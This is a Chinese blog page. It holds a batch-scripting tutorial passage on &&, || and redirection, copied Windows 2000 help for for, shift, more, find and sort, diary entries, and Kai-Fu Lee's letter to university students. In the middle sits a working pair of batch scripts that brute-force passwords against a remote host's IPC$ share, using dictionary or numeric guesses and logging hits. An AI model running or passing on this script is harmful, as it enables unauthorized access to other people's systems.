    仔细研究一下这句执行后的结果,看看是否能达到题目的要求!错了!这样执行后a.txt里只有D盘的信息!为什么?就因为这里&&命令和>命令不能同时出现一个句子里(批处理把一行看成一个句子)!!组合命令&&的优先级没有管道命令>的优先级高(自己总结的,不妥的地方请指正)!所以这句在执行时将本分成这两部分:dir c:\和dir d:\ > a.txt,而并不是如你想的这两部分:dir c:\ && dir d:\和> a.txt。要使用组合命令&&达到题目的要求,必须得这么写:
    dir c:\ > a.txt && dir d:\ >> a.txt
    这样,依据优先级高低,DOS将把这句话分成以下两部分:dir c:\ > a.txt和dir d:\ >> a.txt。例十八中的几句的差别比较特殊,值得好好研究体会一下。
    当然这里还可以利用&命令(自己想一下道理哦):
    dir c:\ > a.txt & dir d:\ >> a.txt
    16、||
    这个命令的用法和&&几乎一样,但作用刚好和它相反:利用这种方法在执行多条命令时,当遇到一个执行正确的命令就退出此命令组合,不再继续执行下面的命令。题目:查看当前目录下是否有以s开头的exe文件,如果有则退出。例十九:
    @echo off
    dir s*.exe || exit
    其实这个例子是有破绽的,你看出来了吗?其实很简单,自己试试就知道了嘛:如果存在那个exe文件,就退出;如果不存在那个exe文件,也退出!为什么?因为如果不存在那个.exe文件,则前一条命令dir s*.exe执行肯定是不成功的,所以就继续执行exit,自然就退出了,呵呵。那么如何解决题目给出的问题呢?看例二十:
    @echo off
    dir s*.exe || echo Didn't exist file s*.exe & pause & exit
    这样执行的结果,就能达到题目的要求,是否存在s*.exe将出现两种结果。这里加暂停的意思,当然是让你能看到echo输出的内容,否则一闪而过的窗口,echo就白写了。
    给出两个更好研究优先级(同时也是更难理解)的脚本,仔细研究它们的区别,以便彻底理解各种命令的优先级顺序,对以后自己利用这些命令写脚本有很大的好处----不会出错!OK,请看例二十一和例二十二:
    例二十一:
    @echo off
    dir a.ttt /a & dir a.txt || exit
    例二十二:
    @echo off
    dir a.ttt /a && dir a.txt || exit
    警告:患有心脑血管病的朋友请不要研究以上两例,否则轻者头大如斗,重者血管爆裂。任何人由于研究这两个脚本的区别而造成的任何事故由自己或其合法监护人负责,与本人和本论坛无关。特此警告!
    有关管道命令和组合命令就大概介绍到这里了,不知道聪明的你是否理解?呵呵,能理解就成天才了,除非你以前就已经掌握!千万别小看了这几个鬼命令,大棒槌是我的说,简直就不是人学的东西!但我还是静下心来研究了一番,最后得出的结论如上所述,已经一点不剩的交给你了,希望你好好收藏并消化吸收,当然有错误被你发现了,或者不完整的地方被你看出来了,请赶紧告诉我一声!
    这几个命令真的把我的头都搞大了。在网上有一篇流传很广的批处理教程:“简明批处理教程”,虽然说的比较全面,但看起来很不过瘾。在对for等命令介绍时就一个for /? > a.txt & start a.txt完事了(当然这一点上我不能说人家什么,毕竟我连for /?都没给出),而对上述管道命令和组合命令、以及这篇教程以后将讲到的用批处理操作注册表等方面根本没有介绍。我之所以花整整一章来讲管道命令和组合命令,是因为他们才是批处理的精华和灵魂,能否正确利用好这几个命令,是能否掌握批处理的前提条件。如for、set等DOS命令的问题,可以从DOS的角度出发专门有针对性的学习,但有关这几个命令的问题,却是不容易精通掌握的----他们之间的关系太复杂了!
    将下列代码存为bat文件
    1、如果用字典破解:pass.bat 字典文件路径及名称 主机 用户名
    2、如果用数字破解:pass.bat 起始数 步长 结束数 主机 用户名
    密码破解出来之后,存放于c:\pass.txt文件里面。
    将下列代码存为pass.bat文件
    @echo off
    echo ------------------------------------------------------------------- >>c:\pass.txt
    echo ------------------------------------------------------------------- >>c:\pass.txt
    date /t >>c:\pass.txt
    time /t >>c:\pass.txt
    echo 破解结果: >>c:\pass.txt
    if "%6"=="1" goto 大棒槌是我的说2
    :大棒槌是我的说1
    start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3
    goto quit
    :大棒槌是我的说2
    start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5
    :quit
    将下列代码存为test.bat
    net use \\%1\ipc$ %2 /user:"%3"
    goto answer%ERRORLEVEL%
    rem %ERRORLEVEL%表示取前一命令执行返回结果,net use成功返回0,失败返回2
    :answer0
    echo 远程主机:"%1" >>c:\pass.txt
    echo 用 户:"%3" >>c:\pass.txt
    echo 密 码:%2 >>c:\pass.txt
    net use \\%1\ipc$ /delet
    exit
    :answer2
    For
    对一组文件中的每个文件运行指定的命令。
    可以在批处理程序中或直接从命令提示符使用 for 命令。
    要在批处理程序中使用 for 命令,请使用以下语法:
    for %%variable in (set) docommand [command-parameters]
    要在命令提示符下使用 for,请使用以下语法:
    for %variable in (set) do command [command-parameters]
    参数
    %%variable 或 %variable
    代表可替换的参数。for 命令使用在 set 中指定的每个文本字符串替换 %%variable(或 %variable),直到此命令(在 command-parameters 中指定)处理所有的文件为止。使用 %% variable 在批处理程序中执行 for 命令。使用 % variable 通过命令提示符执行 for 命令。变量名区分大小写。
    (set)
    指定要用指定的命令处理的一个或多个文件或文本字符串。需要括号。
    command
    指定要在指定的 set 所包含的每个文件上执行的命令。
    command-parameters
    指定要用于指定命令(如果指定的命令要使用任何参数或开关)的任何参数或开关。
    如果启用了命令扩展(Windows 2000 中的默认设置),将支持 for 命令的其他形式。
    For 命令的其他形式
    如果启用了命令扩展,将支持如下 for 命令的其他格式:
    只限于目录
    for /D [%% | %]variable in (set) docommand [command-parameters]
    如果 set 包含通配符(* 和 ?),则指定与目录名匹配,而不是文件名。
    递归
    for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]
    进入根目录树[drive:]path,在树的每个目录中执行 for 语句。如果在 /R 后没有指定目录,则假定为当前目录。如果 set 只是一个句号 (.) 字符,则只列举目录树。
    迭代
    for /L [%% | %]variable in (start,step,end) do command [command-parameters]
    集合是一系列按步长量划分的、从头到尾的数字。这样,(1,1,5) 将生成序列 1 2 3 4 5,而 (5,-1,1) 将生成序列 (5 4 3 2 1)。
    文件解析
    for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters]
    for /F ["options"] [%% | %]variable in ("literal string") do command[command-parameters]
    for /F ["options"] [%% | %]variable in ('command') do command [command-parameters]
    或者,如果出现 usebackq 选项:
    for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters]
    for /F ["options"] [%% | %]variable in ('literal string') do command [command-parameters]
    for /F ["options"] [%% | %]variable in (`command`) docommand [command-parameters]
    filenameset 参数指定一个或多个文件名称。在继续到 filenameset 中的下一个文件之前,每个文件都会被打开、读取和处理。
    过程由读取文件、分成独立的文本行及然后将每行解析成零个或更多个令牌组成。然后使用设置为找到的一个或多个令牌字符串的变量值(或多个值)集合调用 for 循环体。默认情况下,/F 传递每个文件每一行的第一个空白分隔符号。
    跳过空行。通过指定可选的“options”参数可以覆盖默认的解析行为。这是一个引用字符串,它包含一个或多个关键字以指定不同的解析选项。关键字是:
    关键字 说明
    eol=c 指定行尾注释字符(只一个字符)
    skip=n 指定在文件的开头跳过的行数。
    delims=xxx 指定定界符集合。这将替换空格和制表符的默认分隔符集。
    tokens=x,y,m-n 指定将令牌从每行传递到每个反复的正文。这将导致分配其他变量名。m-n 格式是一个范围,指定从 mth 到 nth 的令牌。如果在令牌 = 字符串中最后一个字符是星号,则将分配附加的变量,并在解析最后一个令牌后在行上接收剩余的文本。
    usebackq 指定将右引号字符串作为命令执行,单引号字符串是文字字符串命令,您可以使用双引号包括 filenameset 中的文件名。
    变量替换
    此外,已经增强了 for 变量引用的替换修改程序。现在可以使用下列可选的语法(对于任何变量 I):
    变量(使用修改程序) 说明
    %~I 展开删除了周围的任何引号 (") 的 %I
    %~fI 将 %I 展开到完全合格的路径名
    %~dI 只将 %I 展开到驱动器号
    %~pI 只将 %I 展开到路径
    %~nI 只将 %I 展开到文件名
    %~xI 只将 %I 展开到文件扩展名
    %~sI 展开路径以只包含短名称
    %~aI 将 %I 展开到文件的文件属性
    %~tI 将 %I 展开到文件的日期/时间
    %~zI 将 %I 展开到文件大小
    %~$PATH:I 搜索 PATH 环境变量所列出的目录,并将 %I 展开开到第一个找到结果的全部合格名称。如果没有定义环境变量名,或搜索后没有找到文件,则此修改程序将扩展为空字符串。
    修改程序可以合并以获得复杂的结果:
    变量(使用合并的修改程序) 说明
    %~dpI 只将 %I 展开到驱动器号和路径
    %~nxI 只将 %I 展开到文件名和扩展名
    %~fsI 将 %I 展开到只包含短名称的完整路径名
    %~dp$PATH:I 在 PATH 环境变量所列出的目录中搜索 %I,并展开到第一个找到结果的驱动器号和路径
    %~ftzaI 将 %I 扩展到与 dir 相似的输出行
    注意
    在上述范例中,%I 和 PATH 可被其他有效值替换。通过有效的 for 变量名终止 %~ 语法。
    使用大写变量名(例如 %I)可以使代码更具可读性,并且避免与不区分大小写的修改程序混淆。
    Shift
    更改批处理文件中可替换参数的位置。
    shift
    启用命令扩展(Windows 2000 中的默认设置)后,shift 命令支持 /n 开关,该开关通知命令在第 n 个参数处开始更改,n 可以是从 0 到 8 的任何一个值。例如,
    SHIFT /2
    将 %3 改为 %2,将 %4 改为 %3 等等,而 %0 和 %1 保持不变。
     
     

    筛选器命令
    筛选器命令可以帮助您排序、查看和选择部分命令输出结果。
    通过筛选器命令传递信息
    筛选器命令可以划分、重排以及提取通过的部分信息操作。Windows 2000 有三个筛选器命令:

    more 命令每次显示一屏文件内容或命令输出。
    find 命令在文件和命令输出中搜索指定字符。
    sort 命令按字母顺序排列文件和命令输出。
    要将输入从文件发送到筛选器命令,请使用小于符号 (<)。如果要筛选器命令从其他命令获得输入,请使用管道 (|)。
    使用 more 命令来控制屏幕显示
    more 命令每次一屏地显示文件的内容或命令输出。例如,下面的 more 命令每次显示一屏 List.txt 文件的内容:
    more < list.txt
    信息显示一屏后,会出现字“More”。要继续显示下一屏,请按键盘上任意键。要停止命令且不查看详细信息,请按 CTRL+C 键。
    如果使用产生多屏输出的命令,more 将十分有用。例如,假设定要查看硬盘的目录树。如果 Windows 2000 不能将目录在一屏内全部显示出来,请使用带管道号 (|) 和 more 命令的 tree 命令,如下例所示:
    tree c:\ | more
    tree 命令的第一屏输出被显示,后跟词“More”。Windows 2000 暂停,直到用户按键盘上的任意键为止(PAUSE 键除外)。
    使用 find 命令搜索文本
    find 命令在一个或多个文件中搜索指定文本。Windows 2000 显示每个包含该文本的行。find 命令可以用作筛选器命令或者标准的 Windows 2000 命令。有关将 find 用作标准的 Windows 2000 命令的信息,请单击“相关主题”列表中的 find。
    要将 find 当作筛选器命令使用,请包含小于符号 (<) 和搜索的文件名。当输入文件名时,请记住搜索要区分大小写。例如,下面的命令查找文件 Trade.txt 中所有的“Pacific Rim”字符串:
    find "Pacific Rim" < trade.txt
    要保存 find 命令的输出而不是显示输出,请使用大于号 (>) 和要存储输出的文件名。例如,下面的命令查找文件 Trade.txt 中所有的“Pacific Rim”字符串,并将结果保存在 Nwtrade.txt 文件中:
    find "Pacific Rim" < trade.txt > nwtrade.txt
    对文本文件排序
    sort 命令按字母顺序排列文本文件或命令的输出。例如,可以使用以下命令对 List.txt 文件的内容进行排序,并在屏幕上显示结果:
    sort < list.txt
    在此范例中,sort 命令对 List.txt 文件的行进行排序并显示结果,但不更改文件。要保存 sort 命令的输出而不是显示输出,请在命令中包含大于号 (>) 和文件名。例如,可以使用以下命令对 List.txt 文件的行按字母顺序排序,并将结果存到 Alphlist.txt 文件中:
    sort < list.txt > alphlist.txt
    要排序命令的输出,请键入后面带有管道 (|) 和 sort 命令的命令。例如,下面的命令对 find 命令的输出结果进行排序:
    find "Jones" maillst.txt | sort
    在键入该命令时,Windows 2000 按字母顺序列出在其中出现“Jones”的行。
    带重定向符的合并命令
    可以将筛选器命令、其他命令和文件名合并以生成自定义命令。例如,可以使用以下命令存储包含“LOG”字符串的文件名:
    dir /b | find "LOG" > loglist.txt
    Windows 2000 通过 find 过滤器命令发送 dir 命令的输出并将包含字符串“Log”的文件名存储在 Loglist.txt 文件中。将结果存储为文件名列表(如,A.log、Logdat.svd 和 Mylog.bat)。
    要在相同命令中使用多个筛选器,请使用管道 (|) 分隔筛选器。例如,下面的命令搜索 C 盘上的每个目录以查找包含“Log”字符串的文件名,并且每次显示一屏:
    dir c:\ /s /b | find "LOG" | more
    因为使用管道 (|),Windows 2000 通过 find 命令发送 dir 命令的输出结果。find 命令只选择包含字符串“Log”的文件名。more 命令每次一屏地显示 find 命令选择的文件名。
     
     
    More
    每次显示一个输出屏幕。该命令通常用于查看长文件。可以单独使用此命令,或者使用它控制其他命令的输出,例如 type 命令。当显示填充可用的查看区域时将出现 more 提示,用户可以输入许多命令来控制查看文件其余部分的方式。
    command name | more [/c] [/p] [/s] [/tn] [+n]
    more [[/c] [/p] [/s] [/tn] [+n]] < [drive:][path] filename
    more [/c] [/p] [/s] [/tn] [+n] [files]
    参数
    [drive:][path] filename
    指定要显示的文件。
    command name
    指定将显示其输出的命令。
    /c
    显示页面前清除屏幕。
    /p
    扩展换页符。
    /s
    将多个空白行更改为一个空白行。
    /tn
    将制表位更改为 n 个空格
    +n
    显示由 n 指定的行开始的第一个文件。
    files
    指定要显示的文件列表。用空格分隔文件名。
    More 子命令
    以下命令在 more 提示 (-- More --) 下接受。
    关键字 操作
    space 显示下一页。
    ENTER 显示下一行。
    F 显示下一个文件。
    q 退出。
    ? 显示可用命令。
    = 显示行号。
    P n 显示以下 n 行。
    S n 跳过下面 n 行。
     
     
    Find
    在一个文件或多个文件中搜索指定的文本字符串。
    当搜索到指定的文件后,find 将显示出包含指定字符串的所有行。
    find [/v] [/c] [/n] "string" [[drive:][path]filename[...]]
    参数
    /v
    显示未包含指定字符串的所有行。
    /c
    只显示包含指定字符串的行数。
    /n
    将文件行号置于每行开头。
    /I
    指定搜索不区分大小写。
    "string"
    指定要搜索的字符组。必须将 string 的文本包括在引号中。
    [drive:][path] filename
    指定要在其中搜索指定字符串的文件的位置和名称。
    Sort
    读取输入、排序数据并将结果写到屏幕、文件和其他设备上。
    sort [/r] [/+n] [/m kilobytes] [/l locale] [/rec characters] [[drive1:][path1]filename1] [/t [drive2:][path2]] [/o [drive3:][path3]filename3]
    [command |] sort [/r] [/+n] [/m kilobytes] [/l locale] [/rec characters] [[drive1:][path1]filename1] [/t [drive2:][path2]] [/o [drive3:][path3]filename3]
    参数
    /r
    颠倒排序顺序,即从 Z 到 A 排序,然后从 9 到 0 排序。
    /+n
    指定字符位置号 n,sort 在此处开始每次比较。例如,/+3 表示每次比较在每行的第三个字符开始。少于 n 个字符的行在其他行之前排序。默认情况下,比较在每行的第一个字符开始。
    /m kilobytes
    指定用于排序的主内存数量,按千字节 (KB) 计。使用的内存最小值总是 160 KB。如果指定了内存大小,则无论有多少主内存可用,指定的确切数量(但至少 160 KB)的内存将用于排序。
    如果输入输出均为文件,在没有指定大小时,默认最大内存大小为可用主内存的 90%,否则为主内存的 45%。默认设置通常会产生最佳的性能。
    /l locale
    替代由系统默认区域设置定义的字符排序顺序;即在安装 Windows 2000 时选择的语言和“国家(地区)”。目前,默认区域设置唯一的备用选项就是“C”区域设置,该区域设置比自然语言排序快,根据二进制编码对字符排序。
    /rec characters
    指定记录或输入文件的行中的最多字符数(默认值为 4096,最大值为 65535)。
    [drive1:][path1]filename1
    指定要排序的文件。如果没有指定文件名,则对标准输入排序。指定输入文件比将同一文件作为标准输入重定向速度快。
    /t [drive2:][path2]
    指定保留 sort 命令工作存储的目录路径,防止数据不能装入主内存。默认为使用系统临时目录。
    /o [drive3:][path3]filename3
    指定要存储排序后的输入的文件。如果没有指定,数据将写入标准输出。指定输出文件比将同一文件作为标准输出重定向速度快!
    September 20

    终于发照片了,呵呵

    今天终于有心情把照片整理一下,up上来。
    August 15

    再游西部欢乐园

    星期六去西部欢乐园玩儿。长这么大第一次坐过山车,第一次体验失重的滋味,感觉肾上腺素急剧增加,透不过气来,两腿酸软,很爽。这里没有蹦极,如果有的话,我一定尝试一次。
    这应该是第二次去西部欢乐园,第一次是大学班级组织活动,去滑冰,我不小心摔倒,当时直接晕过去了,醒来时,已在岸上,一堆人围着我,当时人我还认识,但的确想不起来这是哪里了。知道第二天,脑袋才感觉恢复正常,有惊无险,也算一次深刻的记忆。
    August 11

    终于拿到照片了

    看到照的照片,效果不错,以前总认为自己不上相,现在看来还是蛮有潜力的,起码没想像的那么差。
    August 10

    学了点儿新技术

    通过与客户的联系,现在才感觉到科学技术的日新月异。有线电视,电线都可以承载IP网络,对老百姓而言确实是好事情。设想家里只有一根有线电视铜轴电缆,可以上网,看电视,打电话,同时通过电视机顶盒可以玩网络游戏,地球越来越小了。
    August 01

    终于回来啦!!

    终于到家了,我估算了一下,坐火车时间64小时,汽车时间15小时,轮船时间12小时,一共91小时。好累呀!!!这次去了青岛、烟台、威海、蓬莱、大连;那边的气候还是好呀,空气好,不干燥,山东发展的的确不错,高速路哪里都有,绿化也好,沿海的农村都比较富裕。有机会的话在这里养老了。照片整理好了再往上面发。
    July 23

    明天去青岛,坐32小时火车,累死人呀

    中华联合保险CDMA 1X VPDN已调通,增值业务激励系统的申请已经打到行政部。
    July 13

    哈哈,终于找到《英雄志》19章了-金庸封笔古龙逝 江湖惟有英雄志

     
    为天地立心,为生民立命,为往圣继绝学,为万世开太平
     
    今天发防暑费了,可以小搓一顿
     
    July 11

    微软副总裁给中国大学生的一封信

     

    导语:李开复博士现任微软公司全球副总裁,是微软亚洲研究院的首任院长。在学术领域,他是攻坚挫锐的科研天才;在管理层面,他又是运筹帷幄的领军人物。作为一位天资卓越的华裔学者,他正在创造着一个又一个奇迹。同时,李开复博士极为关注中国教育,先后给中国学生写了三封饱含关切之情的来信,在国内青年学生中产生了巨大影响。他还为中国学生开通了“开复学生网(www.kaifulee.com)”。近日,李开复博士又撰写了“给中国大学生的第四封信”...

    给中国学生的第四封信:大学四年应是这样度过
      今天,我回复了“开复学生网”开通以来的第1000个问题。关掉电脑后,始终有一封学生来信萦绕在我的脑海里,挥之不去:

      开复老师:
      就要毕业了。
      回头看自己所谓的大学生活,
      我想哭,不是因为离别,而是因为什么都没学到。
      我不知,简历该怎么写,若是以往我会让它空白。
      最大的收获也许是……对什么都没有的忍耐和适应……

      这封来信道出了不少大三、大四学生的心声。大学期间,有许多学生放任自己、虚度光阴,还有许多学生始终也找不到正确的学习方向。当他们被第一次补考通知唤醒时,当他们收到第一封来自应聘企业的婉拒信时,这些学生才惊讶地发现,自己的前途是那么渺茫,一切努力似乎都为时已晚……

      这“第四封信”是写给那些希望早些从懵懂中清醒过来的大学生,那些从未贪睡并希望把握自己的前途和命运的大学生以及那些即将迈进大学门槛的未来大学生们的。在这封信中,我想对所有同学说:

      大学是人一生中最为关键的阶段。从入学的第一天起,你就应当对大学四年有一个正确的认识和规划。为了在学习中享受到最大的快乐,为了在毕业时找到自己最喜爱的工作,每一个刚进入大学校园的人都应当掌握七项学习:学习自修之道、基础知识、实践贯通、兴趣培养、积极主动、掌控时间、为人处事。只要做好了这七点,大学生临到毕业时的最大收获就绝不会是“对什么都没有的忍耐和适应”,而应当是“对什么都可以有的自信和渴望”。只要做好了这七点,你就能成为一个有潜力、有思想、有价值、有前途的快乐的毕业生。


    大学:人生的关键

      大学是人生的关键阶段。这是因为,进入大学是你终于放下高考的重担,第一次开始追逐自己的理想、兴趣。这是你离开家庭生活,第一次独立参与团体和社会生活。这是你不再单纯地学习或背诵书本上的理论知识,第一次有机会在学习理论的同时亲身实践。这是你第一次不再由父母安排生活和学习中的一切,而是有足够的自由处置生活和学习中遇到的各类问题,支配所有属于自己的时间。

      大学是人生的关键阶段。这是因为,这是你一生中最后一次有机会系统性地接受教育。这是你最后一次能够全心建立你的知识基础。这可能是你最后一次可以将大段时间用于学习的人生阶段,也可能是最后一次可以拥有较高的可塑性、集中精力充实自我的成长历程。这也许是你最后一次能在相对宽容的,可以置身其中学习为人处世之道的理想环境。

      大学是人生的关键阶段。在这个阶段里,所有大学生都应当认真把握每一个“第一次”,让它们成为未来人生道路的基石;在这个阶段里,所有大学生也要珍惜每一个“最后一次”,不要让自己在不远的将来追悔莫及。在大学四年里,大家应该努力为自己编织生活梦想,明确奋斗方向,奠定事业基础。

      大学四年每个人都只有一次,大学四年应这样度过……

    自修之道:从举一反三到无师自通

      记得我在哥伦比亚大学任助教时,曾有位中国学生的家长向我抱怨说:“你们大学里到底在教些什么?我孩子读完了大二计算机系,居然连VisiCalc[1] 都不会用。”
      [1] VisiCalc是当时最热门的计算机应用软件,但它在二十年前就被淘汰了(这件事又一次证明了科技的发展是日新月异的)。而且,VisiCalc的使用方法也不是计算机系的学生应该学的。

      我当时回答道:“电脑的发展日新月异。我们不能保证大学里所教的任何一项技术在五年以后仍然管用,我们也不能保证学生可以学会每一种技术和工具。我们能保证的是,你的孩子将学会思考,并掌握学习的方法,这样,无论五年以后出现什么样的新技术或新工具,你的孩子都能游刃有余。”

      她接着问:“学最新的软件不是教育,那教育的本质究竟是什么呢?”

      我回答说:“如果我们将学过的东西忘得一干二净时,最后剩下来的东西就是教育的本质了。

      我当时说的这句话来自教育家B. F. Skinner的名言。所谓“剩下来的东西”,其实就是自学的能力,也就是举一反三或无师自通的能力。大学不是“职业培训班”,而是一个让学生适应社会,适应不同工作岗位的平台。在大学期间,学习专业知识固然重要,但更重要的还是要学习独立思考的方法,培养举一反三的能力,只有这样,大学毕业生才能适应瞬息万变的未来世界。我认识的不少在中国读完大学来美国念研究生的朋友。他们认为来美国后,不论是学习,工作还是生活他们最缺乏的是独立思考的能力因为在国内时他们很少独立思考和独立决策。

      上中学时,老师会一次又一次重复每一课里的关键内容。但进了大学以后,老师只会充当引路人的角色,学生必须自主地学习、探索和实践。走上工作岗位后,自学能力就显得更为重要了。微软公司曾做过一个统计:在每一名微软员工所掌握的知识内容里,只有大约 10%是员工在过去的学习和工作中积累得到的,其他知识都是在加入微软后重新学习的。这一数据充分表明,一个缺乏自学能力的人是难以在微软这样的现代企业中立足的。

      自学能力必须在大学期间开始培养。许多同学总是抱怨老师教得不好,懂得不多,学校的课程安排也不合理。我通常会劝这些学生说:“与其诅咒黑暗,不如点亮蜡烛”。大学生不应该只会跟在老师的身后亦步亦趋,而应当主动走在老师的前面。例如,大学老师在一个课时里通常要涵盖课本中几十页的信息内容,仅仅通过课堂听讲是无法把所有知识学通、学透的。最好的学习方法是在老师讲课之前就把课本中的相关问题琢磨清楚,然后在课堂上对照老师的讲解弥补自己在理解和认识上的不足之处。

      中学生在学习知识时更多地是追求“记住”知识,而大学生就应当要求自己“理解”知识并善于提出问题。对每一个知识点,都应当多问几个“为什么”。一旦真正理解了理论或方法的来龙去脉,大家就能举一反三地学习其他知识,解决其他问题,甚至达到无师自通的境界。

      事实上,很多问题都有不同的思路或观察角度。在学习知识或解决问题时,不要总是死守一种思维模式,不要让自己成为课本或经验的奴隶。只有在学习中敢于创新,善于从全新的角度出发思考问题,学生潜在的思考能力、创造能力和学习能力才能被真正激发出来。

      《礼记·学记》上讲:“独学而无友,则孤陋而寡闻”。也就是说,大学生应当充分利用学校里的人才资源,从各种渠道吸收知识和方法。如果遇到好的老师,你可以主动向他们请教,或者请他们推荐一些课外的参考读物。除了资深的教授以外,大学中的青年教师、博士生、硕士生乃至自己的同班同学都是最好的知识来源和学习伙伴。每个人对问题的理解和认识都不尽相同,只有互帮互学,大家才能共同进步。

      有些同学曾告诉我说,他们很羡慕我在读书时能有一位获得过图灵奖的大师传道授业。其实,虽然我非常推崇我的老师,但他在大学期间并没有教给我多少专业知识。他只是给我指明了大方向,让我分享他的经验,给我提供研究的资源,并教我做人的方法。他没有时间也没有必要指导我学习具体的专业知识。我在大学期间积累的专业知识都是通过自学获得的。刚入门时,我曾多次红着脸向我的师兄请教最基本的知识内容,开会讨论时我曾问过不少肤浅的问题,课余时间我还主动与同学探讨、切磋。“三人行必有我师”,大学生的周围到处是良师益友。只要珍惜这些难得的机会,大胆发问,经常切磋,我们就能学到最有用的知识和方法。

      大学生应该充分利用图书馆和互联网,培养独立学习和研究的本领,为适应今后的工作或进一步的深造做准备。首先,除了学习老师规定的课程以外,大学生一定要学会查找书籍和文献,以便接触更广泛的知识和研究成果。例如,当我们在一门课上发现了自己感兴趣的课题,就应当积极去图书馆查阅相关文献,了解这个课题的来龙去脉和目前的研究动态。熟练和充分地使用图书馆资源,这是大学生特别是那些有志于科学研究的大学生的必备技能之一。读书时,应尽量多读一些英文原版教材。有些原版教材写得深入浅出,附有大量实例,比中文教材还适于自学。其次,在书本之外,互联网也是一个巨大的资源库,大学生们可以借助搜索引擎在网上查找各类信息。“开复学生网”开通半年以来,我发现很多同学其实并没有很好地掌握互联网的搜索技巧,有时他们提出的问题只要在搜索引擎中简单检索一下,就能轻易找到答案。还有些同学很容易相信网上的谣言,而不会利用搜索引擎自己查考、求证。除了搜索引擎以外,网上还有许多网站和社区也是很好的学习园地。

      自学时,不要因为达到了学校的要求就沾沾自喜,也不要认为自己在大学里功课好就足够了。在二十一世纪的今天,人才已经变成了一个国际化的概念。当你对自己的成绩感到满意时,我建议你开始自学一些国际一流大学的课程。例如,美国麻省理工学院(MIT)的开放式课程已经在网上无偿发布出来,大家不妨去看看MIT的网上课程,做做 MIT的网上试题。当你可以自如地掌握MIT课程时,你就可以更加自信地面对国际化的挑战了。

      总之,善于举一反三,学会无师自通,这是大学四年中你可以送给自己的最好的礼物。

     基础知识:数学、英语、计算机、互联网

      我曾经说过,中国学生的一大优势是扎实的基础知识,如数学、物理等。但是,最近几年,同学们在目睹了很多速成的例子(如丁磊、陈天桥等)之后,也迫切希望能驶上成功的快车道。这渐渐形成了一种追求速成的浮躁风气。有许多大学生梦想在毕业后就立即能做“经理”、“老板”,还有许多大学生入学时直接选择了“管理”专业,因为他们认为从这样的专业毕业后马上就可以成为企业的管理者。可不少学生进入了管理专业后,才发现自己对本专业的学习毫无兴趣。其实,管理专业和其他专业一样,都是传授基础知识和基本方法的地方,没有哪个专业可以保证学生在毕业时就能走上领导岗位。无论同学们所学的是哪个专业,大学毕业才是个人事业的真正开始。想做企业领导或想做管理工作的同学也必须从基层做起,必须首先在人品方面学会做人,在学业方面打好基础。

      如果说大学是一个学习和进步的平台,那么,这个平台的地基就是大学里的基础课程。在大学期间,同学们一定要学好基础知识其中包括数学、英语、计算机和互联网的使用,以及本专业要求的基础课程(如商学院的财务、经济等课程)。在科技发展日新月异的今天,应用领域里很多看似高深的技术在几年后就会被新的技术或工具取代。只有对基础知识的学习才可以受用终身。另一方面,如果没有打下好的基础,大学生们也很难真正理解高深的应用技术。最后,在许多的中国大学里,教授对基础课程也比对最新技术有更丰富的教学经验。

      数学是理工科学生必备的基础。很多学生在高中时认为数学是最难学的,到了大学里,一旦发现本专业对数学的要求不高,就会彻底放松对数学知识的学习,而且他们看不出数学知识有什么现实的应用或就业前景。但大家不要忘记,绝大多数理工科专业的知识体系都建立在数学的基石之上。例如,要想学好计算机工程专业,那至少要把离散数学(包括集合论、图论、数理逻辑等)、线性代数、概率统计和数学分析学好;要想进一步攻读计算机科学专业的硕士或博士学位,可能还需要更高的数学素养。同时,数学也是人类几千年积累的智慧结晶,学习数学知识可以培养和训练人的思维能力。通过对几何的学习,我们可以学会用演绎、推理来求证和思考的方法;通过学习概率统计,我们可以知道该如何避免钻进思维的死胡同,该如何让自己面前的机会最大化。所以,大家一定要用心把数学学好,不能敷衍了事。学习数学也不能仅仅局限于选修多门数学课程,而是要知道自己为什么学习数学,要从学习数学的过程中掌握认知和思考的方法。

      二十一世纪里最重要的沟通工具就是英语。有些同学在大学里只为了考过四级、六级而学习英语,有的同学仅仅把英语当作一种求职必备的技能来学习,甚至还有人认为学习和使用英语等于崇洋媚外。其实,学习英语的根本目的是为了掌握一种重要的学习和沟通工具。在未来的几十年里,世界上最全面的新闻内容,最先进的思想和最高深的技术,以及大多数知识分子间的交流都将用英语进行。因此,除非你甘心做一个与国际脱节的人,英语学习是至关重要的。在软件行业里,不但编程语言是以英语为基础设计出来的,最重要的教材、论文、参考资料、用户手册等资源也大多是用英语写就的。学英语绝不等于崇洋媚外。中国正在走向世界,中国需要学习西方的先进思想和先进科学技术,学好英语才是真正的爱国。

      很多中国留学生的英语考试成绩不错,也高分考过四级、六级、托福,但是留学美国后上课时却很难听懂课程内容,和外国同学交流时就更加困难。我们该如何学好英语呢?既然英语是最重要的沟通工具,那么,最重要的学习方法就是尽量与实践结合起来,不能只“学”不“用”,更不能只靠背诵的方式学习英语。读书时,大家尽量阅读原版的专业教材(如果英语不够好,可以先从中英对照的教材看起),并适当地阅读一些自己感兴趣的专业论文,这可以同时提高英语和相关专业的知识水平。其次,提高英语听说能力的最好方法是直接与那些以英语为母语的外国人对话。现在有很多在中国学习和工作的外国人,他们中的不少人为了学中文,很愿意与中国学生对话、交流,这是很好的学习机会。此外,大家不要把学英语当作一件苦差事,完全可以用有趣的方法学习英语。例如,可以多看一些名人的对话或演讲,多看一些小说、戏剧甚至漫画。初学者可以找英文原版的教学节目和录像来学习,有一定基础的则应该看英文电视或电影。看一部英文电影时,最好先在有字幕的时候看一遍,同时查考生词、熟悉句式,然后在不加字幕的情况下再看一遍,仅靠耳朵去听。听英文广播也是很好的练习英文听力的方法,大家每天最好能抽出半小时到一小时的时间收听广播并尽量理解其中的内容,有必要的话还可以录下来反复收听。在互联网上也有许多互动式的英语学习网站,大家可以在网站上用游戏、自我测试、双语阅读等方式提升英语水平。总之,勇于实践、持之以恒是学习英语的必由之路。

      信息时代已经到来,大学生在信息科学与信息技术方面的素养也已成为他们进入社会的必备基础之一。虽然不是每个大学生都需要懂得计算机原理和编程知识,但所有大学生都应能熟练地使用计算机、互联网、办公软件和搜索引擎,都应能熟练地在网上浏览信息和查找专业知识。在二十一世纪里,使用计算机和网络就像使用纸和笔一样是人人必备的基本功。不学好计算机,你就无法快捷全面地获得自己需要的知识或信息。

